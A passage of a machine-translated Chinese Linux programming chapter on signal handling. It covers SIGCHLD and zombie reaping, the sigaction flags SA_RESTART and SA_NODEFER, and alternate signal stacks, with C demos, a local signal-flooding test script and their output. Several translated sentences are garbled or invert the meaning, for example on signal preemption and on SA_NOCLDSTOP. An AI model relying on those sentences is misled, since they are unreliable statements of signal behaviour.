-注意最后一个细节:即使子进程停止(因此没有死),也会传递`SIGCHLD`。 如果我们不想那样呢? 换句话说,我们只希望在我们的孩子死亡时向我们发出信号。但这正是`SA_NOCLDSTOP`标志所做的:没有儿童死亡在停止。 所以,如果你不想被孩子们的叫停欺骗,让他们以为他们已经死了,那就使用这个旗帜吧。 (当停止的孩子随后通过`SIGCONT`继续时,这也适用)。 - -# 没有僵尸!-经典的方式 - -前面的讨论还应该让您意识到,嘿,我们现在有了一种巧妙的、异步的方法来消除任何讨厌的僵尸:捕获`SIGCHLD`,并在其信号处理程序中发出等待调用(使用[第 9 章](09.html)、*流程执行*中介绍的任何等待 API),最好使用`WNOHANG`选项参数,这样我们就可以执行非阻塞等待;因此,我们不会阻塞任何活动的子级,而只是成功地清除了任何 - -以下是 Unix 清除僵尸的经典方法: - -```sh -static void child_dies(int signum) -{ - while((pid = wait3(0, WNOHANG, 0)) != -1); -} -``` - -深入研究这里只对现代 Linux 有学术意义(在您的作者看来,现代 Linux 是 2.6.0 版及更高版本的 Linux 内核,顺便说一句,它是在 2003 年 12 月 18 日发布的)。 - -# 没有僵尸!-现代的方式 - -因此,在现代 Linux 中,避免僵尸变得容易得多:只需使用`sigaction(2)`捕获`SIGCHLD`信号,并在信号标志位掩码中指定`SA_NOCLDWAIT`位。 就是这样:对僵尸的担忧永远流放! 在 Linux 平台上,`SIGCHLD`信号仍然传递给父进程--您可以使用它来跟踪子进程,或者您可能想到的任何记账目的。 - -顺便说一句,`POSIX.1`标准还指定了另一种去除烦人僵尸的方法:忽略`SIGCHLD`信号(带`SIG_IGN`)。 嗯,你可以使用这种方法,但有一个警告,那就是你永远不会知道一个孩子什么时候真的死了(或停了)。 - -所以,有用的东西:让我们来测试一下我们的新知识:我们组装了一个非常小的多进程应用,它可以生成僵尸,但也可以用现代的方式清除它们,如下所示(`ch11/zombies_clear_linux26.c`): - -For readability, only the relevant parts of the code are displayed; to view and run it, the entire source code is available here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -```sh -int main(int argc, char **argv) -{ - struct sigaction act; - int opt=0; - - if (argc != 2) - usage(argv[0]); - - opt = atoi(argv[1]); - if (opt != 1 && opt != 2) - usage(argv[0]); - - memset(&act, 0, sizeof(act)); - if (opt == 1) { - act.sa_handler = child_dies; - /* 2.6 Linux: prevent zombie on termination of child(ren)! */ - act.sa_flags = SA_NOCLDWAIT; - } - if (opt == 2) - act.sa_handler = SIG_IGN; - act.sa_flags |= SA_RESTART | SA_NOCLDSTOP; /* no SIGCHLD on stop of child(ren) */ - - if (sigaction(SIGCHLD, &act, 0) == -1) - FATAL("sigaction failed"); - - printf("parent: %d\n", getpid()); - switch (fork()) { - case -1: - FATAL("fork failed"); - case 0: // Child - printf("child: %d\n", getpid()); - DELAY_LOOP('c', 25); - exit(0); - default: // Parent - while (1) - pause(); - } - exit(0); -} -``` - -(目前,忽略代码中的`SA_RESTART`标志;我们稍后将对其进行解释)。以下是`SIGCHLD`的信号处理程序: - -```sh -#define DEBUG -//#undef DEBUG -/* SIGCHLD handler */ -static void child_dies(int signum) -{ -#ifdef DEBUG - printf("\n*** Child dies! ***\n"); -#endif -} -``` - -请注意,当处于调试模式时,我们如何仅在信号处理程序中发出`printf(3)`(因为这是异步信号不安全)。 - -让我们试试看: - -```sh -$ ./zombies_clear_linux26 -Usage: ./zombies_clear_linux26 {option-to-prevent-zombies} - 1 : (2.6 Linux) using the SA_NOCLDWAIT flag with sigaction(2) - 2 : just ignore the signal SIGCHLD -$ -``` - -好的,首先我们使用选项`1`进行尝试;也就是说,使用`SA_NOCLDWAIT`标志: - -```sh -$ ./zombies_clear_linux26 1 & -[1] 10239 -parent: 10239 -child: 10241 -c $ cccccccccccccccccccccccc -*** Child dies! *** - -$ ps - PID TTY TIME CMD - 9490 pts/1 00:00:00 bash -10239 pts/1 00:00:00 zombies_clear_l -10249 pts/1 00:00:00 ps -$ -``` - -重要的是,检查`ps(1)`发现没有僵尸。 -现在使用选项`2`运行它: - -```sh -$ ./zombies_clear_linux26 2 -parent: 10354 -child: 10355 -ccccccccccccccccccccccccc -^C -$ -``` - -注意,`*** Child dies! ***`消息(我们在上一次运行中得到的)没有出现,证明我们从未进入`SIGCHLD`的信号处理程序。 当然不是,我们忽略了这个信号。 虽然这确实阻止了僵尸的出现,但它也阻止了我们知道孩子已经死亡。 - -# SA_NOCLDSTOP 标志 - -关于`SIGCHLD`信号,有一个重要的要点需要认识到:默认行为是,无论进程死亡或停止,还是停止的子进程继续执行(通常通过发送给它的`SIGCONT`信号),内核都会将`SIGCHLD`信号发送给其父进程。 - -也许这是有用的。 父母会被告知所有这些事件-孩子的死亡、停止寻呼或继续。 另一方面,也许我们不想被欺骗而认为我们的子进程已经死亡,而实际上它刚刚被停止(或继续)。 - -对于这种情况,使用`SA_NOCLDSTOP`标志;它的字面意思是在儿童停止(或恢复)时不使用`SIGCHLD`。 现在你只能在孩子死亡时得到`SIGCHLD`。 - -# 中断的系统调用以及如何使用 SA_RESTART 修复它们 - -传统(较旧的)Unix 操作系统在处理阻塞系统调用时遇到信号处理问题。 - -Blocking APIs -An API is said to be blocking when, on issuing the API, the calling process (or thread) is put into a sleep state. Why is this? This is because the underlying OS or device driver understands that the event that the caller needs to wait upon has not yet occurred; thus, it must wait for it. Once the event (or condition) arises, the OS or driver wakes up the process; the process now continues to execute its code path. - -Examples of blocking APIs are common: read, write, select, wait (and its variants), accept, and so on. - -花点时间想象一下这个场景: - -* 一个进程捕获一个信号(比如`SIGCHLD`)。 -* 稍后,该进程会发出阻塞的系统调用(比如,`accept(2)`系统调用)。 -* 当它处于睡眠状态时,信号被传递给它。 - -下面的伪代码说明了同样的情况: - -```sh -[...] -sigaction(SIGCHLD, &sigact, 0); -[...] -sd = accept( <...> ); -[...] -``` - -By the way, the `accept(2)` system call is how a network server process blocks (waits) upon a client connecting to it. - -既然信号已经发出,那该怎么办呢? 正确的行为是:进程应该醒来,处理信号(运行其信号处理程序的代码),然后再次进入休眠状态,继续阻塞它正在等待的事件。 - -在较旧的 UNIX 上(您的作者在旧的 SunOS 4.x 上遇到过这种情况),信号被传递,信号处理程序代码运行,但是之后阻塞系统调用失败,返回-1。 参数`errno`参数设置为**`EINTR`**参数,这意味着系统调用被中断。 - -当然,这被认为是一个错误。 可怜的 Unix 应用开发人员不得不求助于一些临时修复,通常求助于将每个系统调用(在本例中为 foo)包装在一个循环中,如下所示: - -```sh -while ((foo() == -1) && (errno == EINTR)); -``` - -这不容易维护*。* - -`POSIX`委员会随后解决了这个问题,要求实现提供一个新的信号 FLAG*到*`SA_RESTART`。 当使用此标志时,内核将自动重新启动碰巧被一个或多个信号中断的任何阻塞系统调用。 - -因此,在注册信号处理程序时,只需在您的文件`sigaction(2)`中使用有用的`SA_RESTART`标志,这个问题就会消失。 - -In general, using the `SA_RESTART` flag when programming the `sigaction(2)` would be a good idea. Not always, though; the [Chapter 13](13.html),  *Timers*, shows us use cases in which we deliberately keep away from this flag. - -# 只有一次的 SA_RESETHAND 标志 - -`SA_RESETHAND`信号标志有点奇怪。 在较旧的 Unix 平台上,有一个错误是这样的:捕获信号(通过`signal(2)`函数),发送信号,然后进程处理信号。 但是,在进入信号处理程序后,内核现在立即将信号操作重置为原始操作系统的默认处理代码。 因此,信号第二次到达时,默认的处理程序代码就会运行,通常会扼杀交易中的进程。 (同样,Unix 开发人员有时不得不求助于一些糟糕的色情代码来尝试修复此问题)。 - -因此,信号只会有效地传递一次。在今天的现代 Linux 系统上,信号处理程序保持不变;默认情况下,它可能不会被重置为原始处理程序。 当然,除非你想要这种只有一次的行为,在这种情况下,可以使用`SA_RESETHAND`标志(你可以想象它不是很受欢迎)。 此外,`SA_ONESHOT`是同一标志的旧名称,已弃用。 - -# 推迟还是不推迟? 使用 SA_NODEFER - -让我们回顾一下信号在默认情况下是如何处理的: - -* 进程捕获信号 n。 -* 信号 n 被传送到该进程(由另一个进程或 OS)。 -* 信号处理程序被调度;也就是说,它响应信号而运行。 - * 信号 n 现在被自动屏蔽;也就是说,阻止将其传递到进程。 - * 信号处理完成。 - * 信号 n 现在是自动去屏蔽的,也就是说,能够传递到进程。 - -这是合理的:在处理特定信号时,该信号被屏蔽。这是默认行为。 - -但是,如果您正在编写(比方说)嵌入式实时应用,其中的信号传递意味着已经发生了一些真实事件,并且应用必须立即(尽快)对此做出响应,该怎么办? 在这种情况下,我们可能希望禁用信号的自动屏蔽,从而允许信号处理程序在信号到达时立即重新进入。 确切地说,这可以通过使用`SA_NODEFER`信号标志来实现。 - -The English word defer means to delay or postpone; to put off until later. - -这是默认行为,您可以在指定标志时对其进行更改。 - -# 屏蔽时的信号行为 - -为了更好地理解这一点,让我们举一个虚构的例子:假设我们捕获一个信号 n,信号 n 的信号处理程序的平均执行时间是 55ms(毫秒)。 另外,设想这样一种场景:通过计时器(至少在一段时间内),信号 n 以 10ms 的间隔连续传递给进程。 现在让我们检查一下在默认情况下会发生什么情况,以及我们使用`SA_NODEFER`标志时会发生什么情况。 - -# 情况 1:默认:清除 SA_NODEFER 位 - -这里,我们使用的是*而不是*信号标志。 因此,当信号 n 的第一个实例到达时,我们的过程跳转到信号处理代码(这将需要 55ms 才能完成)。 然而,第二个信号将只到达信号处理代码中的 10ms。 但是,等等,它是自动屏蔽的! 因此,我们不会处理它。 事实上,简单的计算将显示,在 55 毫秒的信号处理时间范围内,最多 5 个信号 n 实例将到达我们的进程: - -![](img/a470eda4-bde5-496d-84ad-81922157ac9d.png) - -Figure 3: Default behavior: SA_NODEFER bit cleared: no queue, one signal instance pending delivery, no real impact on stack - -那么,到底发生了什么? 一旦处理程序完成,这五个信号是否会排队等待发送? 阿!。 这一点很重要:标准或非 Unix 信号不会排队。但是,内核确实知道有一个或多个信号正在等待传递到进程;因此,一旦信号处理完成,就只有一个挂起信号的实例被传递(挂起信号掩码随后被清除)。 - -因此,在我们的示例中,即使有五个信号等待传递,信号处理程序也只会被调用一次。 换句话说,没有信号排队,但服务了一个信号实例。 这就是默认情况下信号的工作方式。 - -*图 3*显示了这种情况:虚线信号箭头表示进入信号处理程序后传递的信号;因此,只有一个实例保持挂起状态。 请注意进程堆栈:信号 n 的信号实例#1(显然)在调用信号处理程序时获得堆栈上的调用帧,仅此而已。 - -问:如果情况如图所示,但传递了另一个信号`m`,该怎么办? - -答:如果信号 m 已被捕获且当前未被屏蔽,则将立即进行处理;换句话说,它将不会抢占一切,其处理程序将运行。 当然,上下文由操作系统保存,这样,一旦上下文恢复,任何被抢占的内容都可以在以后继续。 这使我们得出以下结论: - -* 信号是两个对等点;它们没有与之关联的优先级。 - -* 对于标准信号,如果传递了相同整数值的多个实例,并且该信号当前被屏蔽(阻塞),则只有一个实例保持挂起;没有排队。 - -# 情况 2:设置 SA_NODEFER 位 - -现在让我们重新考虑完全相同的场景,只是这一次我们使用了`SA_NODEFER`信号标志。因此,当信号 n 的第一个实例到达时,我们的过程跳转到信号处理代码(这将需要 55ms 才能完成)。 和以前一样,第二个信号将在 10 毫秒内到达第一个信号处理代码,但请稍等,这一次它没有被屏蔽;它没有被延迟。因此,我们将立即重新进入信号处理程序功能。 然后,20ms 后(在信号 n 实例#1 首次进入信号处理程序之后),第三个信号实例到达。 同样,我们也将重新进入信号处理函数。 是的,这种情况会发生五次。 - -图 4 向我们展示了此场景: - -![](img/4cd933d7-71b6-42b2-9062-a782900cbb23.png) - -Figure 4: SA_NODEFER bit set: no queue; all signal instances processed upon delivery, stack intensive - -这看起来不错,但请注意以下几点: - -* 信号处理程序代码本身必须编写为重入安全函数(没有全局或静态变量使用;只调用其中的异步信号安全函数),因为它在此场景中不断被重新输入。 -* 堆栈用法:每次重新进入信号处理程序时,一定要意识到已将一个额外的进程调用帧分配(推入)到进程堆栈上。 - -第二点值得思考:如果到达的信号太多(同时处理前面的调用),导致我们重载,甚至溢出堆栈,该怎么办? 嗯,灾难。 堆栈溢出是一个糟糕的错误;实际上不可能进行异常处理(我们不能满怀信心地捕获或捕获堆栈溢出问题)。 - -下面是一个有趣的代码示例`ch11/defer_or_not.c`,用于演示这两种情况: - -For readability, only key parts of the code are displayed; to view the complete source code, build and run it; the entire tree is available for cloning from the book's GitHub repo here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux) - -```sh -static volatile sig_atomic_t s=0, t=0; -[...] -int main(int argc, char **argv) -{ - int flags=0; - struct sigaction act; -[...] - flags = SA_RESTART; - if (atoi(argv[1]) == 2) { - flags |= SA_NODEFER; - printf("Running with the SA_NODEFER signal flag Set\n"); - } else { - printf("Running with the SA_NODEFER signal flag Cleared [default]\n"); - } - - memset(&act, 0, sizeof(act)); - act.sa_handler = sighdlr; - act.sa_flags = flags; - if (sigaction(SIGUSR1, &act, 0) == -1) - FATAL("sigaction failed\n"); - fprintf(stderr, "\nProcess awaiting signals ...\n"); - - while (1) - (void)pause(); - exit(EXIT_SUCCESS); -} -``` - -下面是信号处理程序函数: - -```sh -/* - * Strictly speaking, should not use fprintf here as it's not - * async-signal safe; indeed, it sometimes does not work well! - */ -static void sighdlr(int signum) -{ - int saved; - fprintf(stderr, "\nsighdlr: signal %d,", signum); - switch (signum) { - case SIGUSR1: - s ++; t ++; - if (s >= MAX) - s = 1; - saved = s; - fprintf(stderr, " s=%d ; total=%d; stack %p :", s, t, stack()); - DELAY_LOOP(saved+48, 5); /* +48 to get the equivalent ASCII value */ - fprintf(stderr, "*"); - break; - default:; - } -} -``` - -我们故意让信号处理代码花费相当长的时间(通过使用`DELAY_LOOP`宏),这样我们就可以模拟同一信号在被处理时被多次传递的情况。在实际的应用中,始终努力使您的信号处理尽可能简短。 - -内联程序集的 STACK()函数是获取寄存器值的一种有趣的方式。 阅读下面的评论,看看它是如何工作的: - -```sh -/* - * stack(): return the current value of the stack pointer register. - * The trick/hack: on x86 CPU's, the ABI tells us that the return - * value is always in the accumulator (EAX/RAX); so we just initialize - * it to the stack pointer (using inline assembly)! - */ -void *stack(void) -{ - if (__WORDSIZE == 32) { - __asm__("movl %esp, %eax"); - } else if (__WORDSIZE == 64) { - __asm__("movq %rsp, %rax"); - } -/* Accumulator holds the return value */ -} -``` - -The processor ABI - Application Binary Interface—documentation is an important area for the serious systems developer to be conversant with; check out more on this in the *Further reading* section on the GitHub repository. - -为了正确测试这个应用,我们编写了一个小的 shell 脚本`bombard_sig.sh`,它用(相同的)信号轰炸给定的进程(我们这里使用 SIGUSR1)。 用户需要传递进程 PID 和要发送的信号实例的数量作为参数;如果第二个参数为`-1`,脚本将持续轰炸进程。 以下是脚本的关键代码: - -```sh -SIG=SIGUSR1 -[...] -NUMSIGS=$2 -n=1 -if [ ${NUMSIGS} -eq -1 ] ; then - echo "Sending signal ${SIG} continually to process ${1} ..." - while [ true ] ; do - kill -${SIG} $1 - sleep 10e-03 # 10 ms - done -else - echo "Sending ${NUMSIGS} instances of signal ${SIG} to process ${1} ..." - while [ ${n} -le ${NUMSIGS} ] ; do - kill -${SIG} $1 - sleep 10e-03 # 10 ms - let n=n+1 - done -fi -``` - -# 运行情况 1-SA_NODEFER 位已清除[默认] - -接下来,我们执行清除`SA_NODEFER`标志的测试用例;这是默认行为: - -```sh -$ ./defer_or_not -Usage: ./defer_or_not {option} -option=1 : don't use (clear) SA_NODEFER flag (default sigaction style) -option=2 : use (set) SA_NODEFER flag (will process signal immd) -$ ./defer_or_not 1 -PID 3016: running with the SA_NODEFER signal flag Cleared [default] -Process awaiting signals ... -``` - -现在,在另一个终端窗口中,我们运行 shell 脚本: - -```sh -$ ./bombard_sig.sh $(pgrep defer_or_not) 12 -``` - -The `pgrep `figures out the PID of the `defer_or_not` process: useful! Just ensure the following: -(a) Only one instance of the process you are sending signals to is alive, or `pgrep `returns multiple PIDs and the script fails. -(b) The name passed to pgrep is 15 characters or less. - -脚本一运行,就向进程发出(12)个信号,显示以下输出: - -```sh -​sighdlr: signal 10, s=1 ; total=1; stack 0x7ffc8d021a70 :11111* -sighdlr: signal 10, s=2 ; total=2; stack 0x7ffc8d021a70 :22222* -``` - -研究前面的输出,我们注意到以下几点: - -* `SIGUSR1`被捕获,其信号处理程序运行;它发出一个数字流(在每个信号实例上递增)。 - * 为了正确执行此操作,我们使用了两个`volatile sig_atomic_t`全局变量(一个用于在`DELAY_LOOP`宏中打印的值,另一个用于跟踪传递给进程的信号总数)。 -* 数字末尾的星号字符`*`表示,当您看到它时,信号处理程序已经完成执行。 -* 虽然传递了 12 个`SIGUSR1`个信号实例,但当其余 11 个信号到达时,该进程正在处理第一个信号实例;因此,只有一个信号保持等待状态,并在处理程序完成后进行处理。 当然,在不同的系统上,您总是会看到多个信号实例被处理。 -* 最后,请注意,我们在每次信号处理程序调用时都会打印堆栈指针值;当然,它是用户空间的虚拟地址(回想一下我们在[第 2 章](02.html)、*虚拟内存*中的讨论);更重要的是,它是相同的,这意味着信号处理程序函数重用了完全相同的堆栈框架(这种情况经常发生)。 - -# 运行案例 2-SA_NODEFER 位集 - -接下来,我们执行测试用例,其中设置了`SA_NODEFER`命令标志(首先确保您已经终止了`defer_or_not`进程的所有旧实例): - -```sh -$ ./defer_or_not 2 PID 3215: running with the SA_NODEFER signal flag Set -Process awaiting signals ... -``` - -现在,在另一个终端窗口中,我们运行 shell 脚本: - -```sh -$ ./bombard_sig.sh $(pgrep defer_or_not) 12 -``` - -脚本一运行,就向进程发出(12)个信号,输出如下: - -```sh -sighdlr: signal 10, s=1 ; total=1; stack 0x7ffe9e17a0b0 : -sighdlr: signal 10, s=2 ; total=2; stack 0x7ffe9e1799b0 :2 -sighdlr: signal 10, s=3 ; total=3; stack 0x7ffe9e1792b0 :3 -sighdlr: signal 10, s=4 ; total=4; stack 0x7ffe9e178bb0 :4 -sighdlr: signal 10, s=5 ; total=5; stack 0x7ffe9e1784b0 :5 -sighdlr: signal 10, s=6 ; total=6; stack 0x7ffe9e177db0 :6 -sighdlr: signal 10, s=7 ; total=7; stack 0x7ffe9e1776b0 :7 -sighdlr: signal 10, s=8 ; total=8; stack 0x7ffe9e176fb0 :8 -sighdlr: signal 10, s=9 ; total=9; stack 0x7ffe9e1768b0 :9 -sighdlr: signal 10, s=1 ; total=10; stack 0x7ffe9e1761b0 :1 -sighdlr: signal 10, s=2 ; total=11; stack 0x7ffe9e175ab0 :22222*1111*9999*8888*7777*6666*5555*4444*3333*2222*11111* -sighdlr: signal 10, s=3 ; total=12; stack 0x7ffe9e17adb0 :33333* -``` - -这一次,请注意以下事项: - -* `SIGUSR1`被捕获,其信号处理程序运行;它发出一个数字流(在每个信号实例上递增)。 - * 要正确做到这一点,我们使用一个全局变量`volatile sig_atomic_t`(一个用于在函数`DELAY_LOOP`中打印的值,另一个用于跟踪传递给进程的信号总数)。 -* 数字末尾的星号字符`*`表示,当您看到它时,信号处理程序已经完成执行;请注意,这一次,*直到很久以后才会出现。 -* 信号`SIGUSR1`的 12 个实例被相继传送:这一次,每个实例将抢占前一个实例(在进程堆栈上设置一个新的调用帧;请注意堆栈指针地址的唯一性)。 -* 请注意,在处理完所有信号实例后,控制如何恢复到原始上下文;因此,我们确实可以看到堆栈展开。 -* 最后,仔细查看堆栈指针值;它们正在逐渐减小。 当然,这是因为在`x86[_64]`CPU 上(就像大多数现代 CPU 一样),向下增长的堆栈是它的工作方式。 - -一定要亲自试试这个程序,看看。它很有趣,功能也很强大,但请记住,这是以非常密集的堆栈为代价的! - -它有多昂贵(就堆栈内存使用而言)?我们实际上可以计算每个堆栈(调用)帧的大小;取任何两个不同的实例,从较高的实例中减去较低的实例。 例如,让我们以前面的案例`s=6`和`s=5`为例:`s=5: 0x7ffe9e1784b0`和`s=6: 0x7ffe9e177db0`。 - -因此,调用 FRAME`size =  0x7ffe9e1784b0 - 0x7ffe9e177db0 = 0x700 = 1792`字节。 - -在这里,对于这个特定的应用用例,每个信号处理调用帧占用高达 1792 字节的内存。 - -现在让我们考虑一个最坏的情况:使用嵌入式实时应用,假设我们在前一个实例正在运行(当然还设置了`SA_NODEFER`)时非常快速地接收到 5000 个信号怎么办:然后我们将最终在进程堆栈上创建 5000 个额外的调用帧,这将花费大约 5,000 x 1,792=8,960,000=~8.5MB! - -为什么不实际测试这个案例呢?(经验主义的价值-尝试事物而不是仅仅假设它们,是至关重要的。 另请参阅[第 19 章](19.html)、*故障排除和最佳实践*)。 我们的做法如下: - -```sh -$ ./defer_or_not 2 -PID 7815: running with the SA_NODEFER signal flag Set -Process awaiting signals ... -``` - -在另一个终端窗口中,运行命令`bombard_sig.sh`脚本,要求它生成 5,000 个信号实例。 请参考以下命令: - -```sh -$ ./bombard_sig.sh $(pgrep defer_or_not) 5000 -Sending 5000 instances of signal SIGUSR1 to process 7815 ... -``` - -这是第一个终端窗口中的输出: - -```sh -<...> -sighdlr: signal 10, s=1 ; total=1; stack 0x7ffe519b3130 :1 -sighdlr: signal 10, s=2 ; total=2; stack 0x7ffe519b2a30 :2 -sighdlr: signal 10, s=3 ; total=3; stack 0x7ffe519b2330 :3 -sighdlr: signal 10, s=4 ; total=4; stack 0x7ffe519b1c30 :4 -sighdlr: signal 10, s=5 ; total=5; stack 0x7ffe519b1530 :5 -sighdlr: signal 10, s=6 ; total=6; stack 0x7ffe519b0e30 :6 -sighdlr: signal 10, s=7 ; total=7; stack 0x7ffe519b0730 :7 -sighdlr: signal 10, s=8 ; total=8; stack 0x7ffe519b0030 :8 -sighdlr: signal 10, s=9 ; total=9; stack 0x7ffe519af930 :9 -sighdlr: signal 10, s=1 ; total=10; stack 0x7ffe519af230 :1 -sighdlr: signal 10, s=2 ; total=11; stack 0x7ffe519aeb30 :2 - -*--snip--* - -sighdlr: signal 10, s=8 ; total=2933; stack 0x7ffe513a2d30 :8 -sighdlr: signal 10, s=9 ; total=2934; stack 0x7ffe513a2630 :9 -sighdlr: signal 10, s=1 ; total=2935; stack 0x7ffe513a1f30 :1 -sighdlr: signal 10, s=2 ; total=2936; stack 0x7ffe513a1830 :2 -sighdlr: signal 10, s=3 ; total=2937; stack 0x7ffe513a1130 :Segmentation fault -$ -``` - -当然,当它耗尽堆栈空间时,它会崩溃。(同样,在不同的系统上,结果可能会有所不同;如果您没有遇到崩溃,通过堆栈溢出,使用这些数字,请尝试增加通过脚本发送的信号的数量,并查看...)。 - -正如我们在[第 3 章](03.html)和*资源限制*中了解到的,典型的进程堆栈资源限制是 8MB;因此,我们在这里面临堆栈溢出的真正危险,当然,这将导致致命的突然崩溃。 所以,要小心! 如果您打算使用`SA_NODEFER`标志,请不厌其烦地在繁重的工作负载下对您的应用进行压力测试,看看堆栈的使用量是否超过了安全范围。 - -# 使用备用信号堆栈 - -请注意,我们前面的测试用例向使用`SA_NODEFER`集运行的`defer_or_not`应用发送了 5,000`SIGUSR1`个信号,导致它崩溃,并出现了分段故障(通常缩写为 Segault)。 当进程进行无效的内存引用时,操作系统向进程发送信号`SIGSEGV`(分段违规);换句话说,这是一个与内存访问相关的错误。 捕获`SIGSEGV`可能非常有价值;我们可以获得有关应用如何以及为什么崩溃的信息(实际上,我们将在下一章中确切地介绍这一点)。 - -然而,仔细想想:在最后的测试用例中(5000 个信号...。 其一),进程崩溃的原因是它的堆栈溢出。 因此,操作系统发送了信号`SIGSEGV`;我们希望捕获并处理该信号。 但是堆栈上没有空间,那么如何调用信号处理函数本身呢? 这是个问题。 - -存在一个有趣的解决方案:我们可以为其分配(虚拟)内存空间,并设置一个单独的备用堆栈,仅用于信号处理。 多么?。 通过`sigaltstack(2)`系统调用。 它用于这样的情况:您需要处理`SIGSEGV`,但是堆栈空间已用完。 想想我们以前的实时大容量信号处理应用:我们也许可以重新设计它,以便为单独的信号堆栈分配更多的空间,这样它就可以在实践中工作。 - -# 使用备用信号堆栈处理大容量信号的实现 - -下面正是这方面的尝试:`ch11/altstack.c`代码和运行时测试。 此外,我们还添加了一个巧妙的特性(在以前的版本中:`defer_or_not`程序):发送 process`SIGUSR2`信号将使它打印出第一个和最新的堆栈指针地址。 它还将计算并显示增量效应,即应用到目前为止使用的堆栈内存量。 - -来自`ch11/defer_or_not.c`的更改: - -* 我们还捕捉信号。 - * `SIGUSR2`:用于显示第一个和最新的堆栈指针地址以及它们之间的增量。 - * `SIGSEGV`:这在实际应用中很重要。 捕获`segfault`使我们能够控制进程崩溃(这里,很可能是因为堆栈溢出),并可能显示(或在真正的应用中,写入日志)相关信息,执行清理,然后调用`abort(3)`退出。 认识到这一点,毕竟我们还是必须退出的:一旦这个信号从 OS 到达,进程就处于一种全新的未定义的状态。 (请注意,有关处理`SIGSEGV`的更多详细信息将在下一章中介绍)。 -* 为了避免在输出中产生太多噪音,我们将`DELAY_LOOP`宏替换为该宏的静默版本。 - -For readability, only key parts of the code are displayed; to view the complete source code, build, and then run it, the entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -在`ch11/altstack.c:main()`中: - -```sh -<...> -altstacksz = atoi(argv[1])*1024; -setup_altsigstack(altstacksz); -<...> -``` - -`setup_altsigstack()`函数代码如下: - -```sh -static void setup_altsigstack(size_t stack_sz) -{ - stack_t ss; - printf("Alt signal stack size = %zu\n", stack_sz); - ss.ss_sp = malloc(stack_sz); - if (!ss.ss_sp) - FATAL("malloc(%zu) for alt sig stack failed\n", stack_sz); - ss.ss_size = stack_sz; - ss.ss_flags = 0; - if (sigaltstack(&ss, NULL) == -1) - FATAL("sigaltstack for size %zu failed!\n", stack_sz); -} -``` - -信号处理代码如下: - -```sh -static volatile sig_atomic_t s=0, t=0; -static volatile unsigned long stk_start=0, stk=0; - -static void sighdlr(int signum) -{ - if (t == 0) - stk_start = (unsigned long)stack(); - switch (signum) { - case SIGUSR1: - stk = (unsigned long)stack(); - s ++; t ++; - if (s >= MAX) - s = 1; - fprintf(stderr, " s=%d ; total=%d; stack %p\n", s, t, stack()); - /* Spend some time inside the signal handler ... */ - DELAY_LOOP_SILENT(5); - break; - case SIGUSR2: - fprintf(stderr, "*** signal %d:: stack@: t0=%lx last=%lx : delta=%ld ***\n", signum, stk_start, stk, (stk_start-stk)); - break; - case SIGSEGV: - fprintf(stderr, "*** signal %d:: stack@: t0=%lx last=%lx : - delta=%ld ***\n", signum, stk_start, stk, (stk_start-stk)); - abort(); - } -} -``` - -考虑到以下情况,让我们执行一些测试并运行它们。 - -# 情况 1-非常小(100 KB)的备用信号堆栈 - -我们特意为备用信号堆栈分配了非常少量的空间-只有 100 千字节。 不用说,它很快溢出并出现段错误;我们的`SIGSEGV`处理程序运行,打印出一些统计数据: - -```sh -$ ./altstack 100 -Alt signal stack size = 102400 -Running: signal SIGUSR1 flags: SA_NODEFER | SA_ONSTACK | SA_RESTART -Process awaiting signals ... -``` - -在另一个终端窗口中,运行 shell 脚本: - -```sh -$ ./bombard_sig.sh $(pgrep altstack) 120 -Sending 120 instances of signal SIGUSR1 to process 12811 ... -``` - -现在,原始窗口中的输出: - -```sh -<...> - s=1 ; total=1; stack 0xa20ff0 - s=2 ; total=2; stack 0xa208f0 - s=3 ; total=3; stack 0xa201f0 - -*--snip--* - - s=1 ; total=49; stack 0xa0bff0 - s=2 ; total=50; stack 0xa0b8f0 - s=3 ; total=51; stack 0xa0b1f0 -*** signal 11:: stack@: t0=a20ff0 last=a0aaf0 : delta=91392 *** -Aborted -$ -``` - -可以看到,根据我们的指标,在溢出时,备用信号堆栈的总使用量为 91,392 字节,接近 100KB。 - -Shell 脚本以预期的值结束: - -```sh -<...> -./bombard_sig.sh: line 30: kill: (12811) - No such process -bombard_sig.sh: kill failed, loop count=53 -$ -``` - -# 案例 2:一个大型(16 MB)交替信号堆栈 - -这一次,我们特意为备用信号堆栈分配了大量空间-16 兆字节。 它现在可以处理数千个连续的移动信号。 但是,当然,在某个时候,它也会溢出: - -```sh -$ ./altstack 16384 -Alt signal stack size = 16777216 -Running: signal SIGUSR1 flags: SA_NODEFER | SA_ONSTACK | SA_RESTART -Process awaiting signals ... -``` - -在另一个终端窗口中,运行 shell 脚本: - -```sh -$ ./bombard_sig.sh $(pgrep altstack) 12000 -Sending 12000 instances of signal SIGUSR1 to process 13325 ... -``` - -现在,原始窗口中的输出: - -```sh -<...> - s=1 ; total=1; stack 0x7fd7339239b0 - s=2 ; total=2; stack 0x7fd7339232b0 - s=3 ; total=3; stack 0x7fd733922bb0 - -*--snip--* - - s=2 ; total=9354; stack 0x7fd732927ab0 - s=3 ; total=9355; stack 0x7fd7329273b0 -*** signal 11:: stack@: t0=7fd7339239b0 last=7fd732926cb0 : delta=16764160 *** -Aborted -$ -``` - -Shell 脚本以预期的值结束: - -```sh -./bombard_sig.sh: line 30: kill: (13325) - No such process -bombard_sig.sh: kill failed, loop count=9357 -$ -``` - -这一次,它成功地处理了大约 9000 个信号,然后才走出堆栈。 在溢出时,备用信号堆栈的总使用量为 16,764,160 字节,或接近 16MB。 - -# 处理大容量信号的不同方法 - -总而言之,如果您有一个场景,其中大量相同类型的多个信号(以及其他信号)以快速的速度传递到流程,那么如果我们使用通常的方法,就有丢失(或丢弃)信号的风险。 正如我们已经看到的,我们可以通过几种方式成功地处理所有信号,每种方式都有自己的大容量信号处理方法-利弊如下表所示: - -| **方法** | **专业** | **缺点/限制** | -| 在调用`sigaction(2)`之前使用`sigfillset(3)`,以确保在处理信号时阻止所有其他信号。 | 简单明了的方法。 | 可能导致处理和/或丢弃信号的显著(不可接受)延迟。 | -| 设置`SA_NODEFER`信号标志,并在信号到达时处理所有信号。 | 简单明了的方法。 | 加载时,堆栈使用率高,有堆栈溢出的危险。 | -| 